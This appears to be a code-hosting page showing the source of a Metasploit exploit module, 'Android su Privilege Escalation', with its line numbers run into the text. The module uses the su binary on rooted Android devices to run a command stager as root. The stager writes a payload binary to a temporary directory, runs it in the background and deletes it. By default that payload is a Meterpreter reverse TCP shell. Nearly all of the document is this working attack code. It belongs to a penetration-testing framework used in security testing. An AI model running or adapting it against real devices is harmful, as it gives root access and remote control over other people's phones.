Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/android/local/su_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ManualRanking78include Msf::Exploit::CmdStager9include Msf::Post::File10include Msf::Post::Android::Priv1112def initialize(info={})13super( update_info( info, {14'Name' => "Android 'su' Privilege Escalation",15'Description' => %q{16This module uses the su binary present on rooted devices to run17a payload as root.1819A rooted Android device will contain a su binary (often linked with20an application) that allows the user to run commands as root.21This module will use the su binary to execute a command stager22as root. The command stager will write a payload binary to a23temporary directory, make it executable, execute it in the background,24and finally delete the executable.2526On most devices the su binary will pop-up a prompt on the device27asking the user for permission.28},29'Author' => 'timwr',30'License' => MSF_LICENSE,31'DisclosureDate' => '2017-08-31',32'SessionTypes' => [ 'meterpreter', 'shell' ],33'Platform' => [ 'android', 'linux' ],34'Arch' => [ ARCH_AARCH64, ARCH_ARMLE, ARCH_X86, ARCH_X64, ARCH_MIPSLE ],35'Targets' => [36['aarch64',{'Arch' => ARCH_AARCH64}],37['armle', {'Arch' => ARCH_ARMLE}],38['x86', {'Arch' => ARCH_X86}],39['x64', {'Arch' => ARCH_X64}],40['mipsle', {'Arch' => ARCH_MIPSLE}]41],42'DefaultOptions' => {43'PAYLOAD' => 'linux/aarch64/meterpreter/reverse_tcp',44'WfsDelay' => 5,45},46'DefaultTarget' => 0,47}48))49register_options([50OptString.new('SU_BINARY', [true, 'The su binary to execute to obtain root', 'su']),51OptString.new('WritableDir', [true, 'Writable directory', '/data/local/tmp/']),52])53end5455def base_dir56datastore['WritableDir'].to_s57end5859def su_bin60datastore['SU_BINARY'].to_s61end6263def exploit64if is_root?65fail_with Failure::BadConfig, 'Session already has root privileges'66end6768linemax = 4088 - su_bin.size69execute_cmdstager({70flavor: :echo,71enc_format: :octal,72prefix: '\\\\0',73temp: base_dir,74linemax: linemax,75background: true,76})77end7879def execute_command(cmd, opts)80su_cmd = "#{su_bin} -c '#{cmd}'"81cmd_exec(su_cmd)82end8384end85868788